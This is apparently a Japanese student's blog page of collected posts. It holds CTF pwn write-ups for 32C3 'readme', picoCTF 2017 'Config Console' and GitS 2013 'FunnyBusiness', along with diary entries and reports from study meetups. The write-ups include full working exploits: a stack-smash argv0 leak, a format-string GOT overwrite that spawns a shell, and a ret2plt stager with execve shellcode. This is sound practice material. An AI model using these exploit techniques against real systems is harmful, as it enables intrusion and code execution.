32C3 CTF 「readme」を解いた
argv0 leakというものを使う問題。
katagaitai勉強会 #4の資料が詳しい。
自前の環境ではExploitが動かなかった。その原因を探すので3日ぐらい溶かしたので問題自体のwrite-upを書く気が失せている。まあいいか(低学年高専生の発想)。
argv0 leak と glibc の対策 別にまとめた。
ここも参考にした。
32C3 CTF readme - ちょっとずつ成長日記
argv0 leakはSSP(Canary)が有効でないと使えない。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : disabled
0x600d20
(.data
内)にFLAGが格納されているが、あとからの入力で書き換えられてしまう。
しかし、.data
セクションの中身はマッピングされたものであるため0x400d20
にも同じ文字列が入っている。
マッピングについてはELF実行ファイルのメモリ配置はどのように決まるのか - ももいろテクノロジーにくわしく書いてある。
リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。
Exploit
from pwn import * context(os='linux', arch='amd64') c = process('./readme.bin') #remote('localhost', 62000) c.recv() raw_input() payload = "A" * 0x210 payload += p64(1) payload += p64(0x400d20) # flag copied by ld payload += p64(0) payload += p64(0x600d20) # envp[0] payload += "\n" c.send(payload) c.send("LIBC_FATAL_STDERR_=yoooo\n") print(c.recv()) # => *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
OITTW2に参加した
argv0 leakでシステム間の差異と格闘していたらpwnの進捗溶けてしばらくブログ更新できなかった。原因気になるからしょうがないね。
CombKansaiのときに勝男さんにお誘いいただき、1/13に大阪工業大学の枚方キャンパスで開かれたOITTW2というネットワークの勉強会に参加しました。
明石と枚方の距離感を勘違いして気づけば時間ギリギリになっていたのであわてて出たらいろいろ忘れてしまいました。
大きな建物があるので大学の敷地にはすぐ入れたものの、学内に入ってから部屋の位置がわからず事務室に駆け込むなどしてなんとかたどり着けました。
講義というよりは実戦形式で、障害の起きているネットワークと問題が5つ渡されそれをなんとかして解いていく感じでした。
Iceさんに教えてもらいつつCiscoルータを初めて触りました。結構難しい…というよりネットワーク自体についてまだまだ経験が足りないなと思いました。ルーターが積んであるのかっこよかった(小並感)
ネスペを持っているとはいえ普通に生活してたらVRFもVLANも使わないからなあ。せいぜいNAT?
昼食は勝男さんがカツカレーをおごってくれました。卒研…(5年後を想像する顔)
JANOGの若者支援プログラムというので交通費などを支援してもらえることを知りました。メモメモ
勉強会のあとは懇親会があったのでお菓子食べながら雑談していました。
ヤフオクで中古のルータがいろいろ流れているので近いうちに1つ買ってみて勉強したいです。どれがいいんだろうか…
帰りもバス停までの道がわからなかったのですが人についていくとすんなり駅まで戻れました。楽しかった〜
大和セキュリティ勉強会に参加した #yamasec
1/7に神戸で開催された大和セキュリティ勉強会に参加しました。
年末行われた回にも参加してみたかったのですが、閉寮と被ってしまって行けませんでした。今回はギリギリ日時が違ったのでよかった。
私が申し込んだ30分後に@Akashi_SNが申し込んでいて驚きました(((
どんな人が来るんだろうかと気になっていましたが、思っていたよりCTF未経験の人が多かったです。半分ぐらい?
年齢層も社会人中心で、学生は自分を入れて4人ぐらいでした。
yamasecというTwitterのハッシュタグも用意されていましたが、ほとんど自分しかツイートしてなかったです。学生はTwitterが好きな人多いけど、社会人はそうでもないのかな。
SANS Holiday Hack Challenge 2017をみんなで解くということでずっと取り組んでいました。
一風変わったCTFですが、Apache Strutsの脆弱性のPoC(Exploit)を使って解く問題があったりしておもしろかったです。
最近はもっぱらpwnばかりを練習していましたが、webにも強くなりたいなあ。PHP Webshellも知らなかったので勉強すれば楽しそう。
Linuxコマンドの入門としてOverTheWireのBanditをしている人もいました。OverTheWireはNarniaがwrite-up見てもうまいこと行かなくて放置しています><;
つい数日前から話題になっているMeltdown/Spectreについての話もありました。スライドは後日公開されるようです。
「投機実行サイドチャネル攻撃」と表現されるみたいで、投機実行が脆弱性になるってどういうことだろうと疑問に思いましたが、話を聞いて(だいたい)納得できました。
macOS, 使っていないとはいえHigh Sierraにしないと…
せっかくなので懇親会にも参加しました。いわゆる「CTF”は”未経験」な人々と話ができてよかったです。
組み込み・製造業でのセキュリティとかルワンダ(!?)のIoT事情とか。
たまたま隣に居た人が来週参加予定のネットワーク勉強会の運営をしていたので驚きました。CombKansaiの効果を感じる。
お酒の影響かわかりませんが、大人の方が学生の分を多く払ってくださったので懇親会参加費が1/3になりました(ありがとうございます)
こういう場に行くと毎回「学生のうちにいろいろやっておくと後々活きてくるよ」と言われますね。頑張ろう…
こんな感じで冬休みの楽しいイベントでした!また行きたい〜
picoCTF 2017 「Config Console」を解いた
ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$
を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ
とりあえずchecksec。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
Format string bugがset_exit_message()
にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。
Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0x7ffff7dd07a3(rsi) 0x7ffff7dd1880(rdx) 0x7ffff7af9054(rcx) 0x7ffff7fb1740(r8) 0x7ffff7fb1740(r9) (nil)($esp) 0x7fffffffd915($esp+0x8) 0x7fffffffdd20(saved rbp) 0x400aa6(return address) 0x7ffff7ffd9d0 0x7fffffffd910 0x7fffffffd910 0x7fffffffd915 0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520
NX bitが有効かつPLTにはsystem
がないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、
exit@plt
でloop
に飛ぶようにGOT Overwrite(%14$p
で入力した文字列にアクセスできる)- こうすれば何度もFSBで攻撃できるが、
set_exit_message
はloop
にreturnすることなく直接exit
を呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく - それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
- こうすれば何度もFSBで攻撃できるが、
- libcのリーク
set_prompt
から呼ばれるstrlen@plt
をsystem
に書き換え- 入力が引数に渡されるのでちょうど良い
全部FSBを脆弱性として使える。
が、0x00000000 00400920
といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hn
などで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lx
を使えば0x
がつかないのでちょっとだけ楽。
__IO_stdfile_1_lock
のアドレス0x7ffff7dd1880
は下を参照するとmapped
という領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880
となる。
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/sei0o/ctf/pico2017/configconsole/console 0x00601000 0x00602000 rw-p /home/sei0o/ctf/pico2017/configconsole/console 0x00602000 0x00623000 rw-p [heap] 0x00007ffff79f5000 0x00007ffff7bcb000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7bcb000 0x00007ffff7dcb000 ---p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcb000 0x00007ffff7dcf000 r--p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so 0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p mapped 0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so ...
…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/maps
で見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0
となった。便利。
$ rax2 -k 0x7f362782a7a0-0x7f362744df20 0x3a77a0
はじめ「mapped
って書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdbで__IO_stdfile_1_lock
周辺を表示してみるとfree_list
やlock
というlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)
いろいろ探しているうちにobjdump -p libc.so.6
でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6
としても情報が見られる。
さらにLD_PRELOAD
という環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...
Exploit
pwntoolsを初めて使った。
# 0xaaaa -> 2 byte -> 16 bit
とかいう頭の悪そうなコメント。
pwntools使い方 まとめ
from pwn import * #c = remote('localhost', 62000) c = remote('shell2017.picoctf.com', 42132) # overwrite exit of GOT exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400) payload = "e " payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 <- "AA"(padding)) payload += p64(exit_got) payload += "\n" c.recv() c.send(payload) # leak libc address payload = "e %2$p\n" c.send(payload) c.recvuntil("set!") c.recvuntil("set!") libc_stdfile_lock = int(c.recv(15)[3:], 16) libc_base = libc_stdfile_lock - 0x3a77a0 # offset log.info("Libc Base: %s" % hex(libc_base)) # overwrite strlen@plt strlen_got = 0x601210 system_offset = 0x41490 system_addr = libc_base + system_offset payload = "e " payload += "%" + str(system_addr & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") # padding payload += p64(strlen_got) payload += "\n" c.send(payload) payload = "e " payload += "%" + str((system_addr >> 16) & 0xffff) + "x" # 0xaaaa -> 2 byte -> 16 bit payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 2) payload += "\n" c.recvuntil("set!") c.send(payload) payload = "e " payload += "%" + str((system_addr >> 32) & 0xffff) + "x" payload += "%16$hn" payload = payload.ljust(16, "A") payload += p64(strlen_got + 4) payload += "\n" c.recvuntil("set!") c.send(payload) # enter shell c.recv() c.send("p /bin/sh\n") time.sleep(0.3) c.interactive()
1/5
冬休みが始まってからずっとPCに食いついていたが、今日だけはなぜかとにかくぼーっとした一日だった。結構もったいない…けど仕方ないか。ひしひしと休みの終わりを感じている。
数学の教科書を見てもまるで文章を理解できないし、34C3 CTFのwrite-upを見ても「???」となってそこから進まなくなった。
picoCTFのConfig Consoleという問題を開いたが、スクリプトを書いている途中に自分でもよくわからなくなってきたので、やめたくないけど明日に回すことにした。pwn楽しいのでできるようになりたい。
radare2でReversing.krの問題を解いてみたいが、PEはどう扱えばいいんだろう…
ARuFaさんのブログを久しぶりに見た。面白い。今度コレを真似て記事でも書こうかと思う。
なんとなくTopCoderのMMに興味が出てきたので、開催予定のカレンダーを見てみたが2018年の分はまだ更新されていないようだった。
1/4
1/2から今日までMAGURO CTFのmemoというpwn問で悩んでいた。
GOT Overwriteとかshellcodeとか初心者なりにいろいろ考えて、ローカルではシェルを取ることができたが(yay!)何故かncで接続して実行してもFLAGにはたどり着けなかった。
一通り思いつく解法が全部ダメだったので諦めた。
write-upのない常設はこういうときに得るものが少ないのでやはり過去問から埋めるべきだと思った。
easyができるようになる頃には常設もわかるようになってるやろ(鼻ほじ
そういう意味で問題サーバが動いたままになっていてwrite-upも公開されているpicoCTFは良い。というわけで明日はpicoCTF Level3 Config Consoleをやってみる。format string attackの問題。
坂口恭平「現実脱出論」を読みきった。少しずつ読んでいたので忘れている内容もあるのでまた読み返したい。「現実とはリアルではなくヴァーチャルなのだ」という一言が印象的だった。
図書館で講談社の新書が並んだ棚(「女装と日本人」というのも)に何冊かだけ黒い表紙の本があった。
それが気になり「現実脱出論」を手に取り適当に開くと、「小学生の頃から一日の時間を円グラフにして、その日の朝にやることをすべて決めていた」という記述が目に飛び込んできた。自分もそういう時間の使い方の改善で悩んでいたので、読む価値があると思い借りた。時間の使いかたについてはほとんど触れられなかったが。
明日明後日で1冊ぐらい読んでおきたい。冬休みはあと3日あるが、1/7は勉強会なので。
事前準備としてKali Linuxを入れたAWSインスタンスが必要らしいので無料枠で購入しておいた。
ペネトレーションOSはほとんど使ったことがなくてわからない…
Santaに招待されたのでInstagramを始めた。部屋に篭っていて写すものがないので適当にココアの画像でも上げておいた。0秒ラテアートとでも名付けておけばよかった。
音ゲーのリザルトを上げるわけにもいかないので、旅行する時に活用しよう。
相変わらずHHKBのキーの跳ね返る感触がたまらない。本当に買ってよかった。
そういえば家に帰ってからディスプレイを使うとそこそこの頻度で画面が消えたりするので不安。電圧的なアレだろうか(電気科だけどわからない)。
Ghost in The Shellcode 2013 「FunnyBusiness」を解いた
pwn問題集のbabyより。
事前準備として$ useradd -m funnybusiness
が必要。getpwnam
を使うのでsudoを付けて動かす。
ldd
でリンクされているライブラリを見るとlibz
があった。
leave
とかどこにも書いてないし、アセンブリがどうも読みづらいがこれはFORTIFY_SOURCE
によるものらしい。
https://access.redhat.com/blogs/766093/posts/1976213
仕方ないのでデバッガの助けを借りてrecv
の辺りから広げていって読むことにした。
がんばって読むと、0x4000以下の数値をrecv
したあと、その長さ分だけまたrecv
、.bss
に格納してInflateで展開してからret
するプログラムのようだ。BOFも見つけた。
いろいろ試して2回目の入力の先頭の7バイト目からが指すアドレスにreturnするとわかったのだが、shellcodeをどこに入れればよいかわからなかった。アドレスもわからないし。
日本語も英語もwrite-upがほとんどなかった。以下を参考にした。
http://shimasyaro.hatenablog.com/entry/2017/02/20/130636
- 1, 2回目の
recv
でret2pltを仕込み、もう1度recvが呼ばれるようにする(stager)。このときのrecv
のリターン先にはASLRでも固定されている.bss
のアドレスを指定する - 3回目の
recv
でshellcodeを入れる - そのshellcodeにリターン、実行される
EIP奪ってからどこにshellcode入れたら良いかわからなくなってwrite-up見た
— 他者との比較を避け、前向きに新年を迎える (@sei0o) 2017年12月27日
.bssか…(ASLRでアドレス変化しない領域を忘れがち
import socket, time, os, struct, telnetlib def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack("<I", x) def u(x): return struct.unpack("<I", x)[0] def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() ####################################### import zlib s = connect('localhost', 49681) # dup2(4), execve shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" bss_addr = 0x804b080 recv_plt = 0x80487b0 payload = 'A' * 6 payload += p(recv_plt) # stager(ret2plt) payload += p(bss_addr) payload += p(4) # arguments...(descriptor, buffer, length, flags) payload += p(bss_addr) payload += p(len(shellcode)) payload += p(0) print(payload.encode('string_escape')) compressed = zlib.compress(payload, 0) s.send(p(len(compressed))) s.send(compressed) s.send(shellcode) interact(s)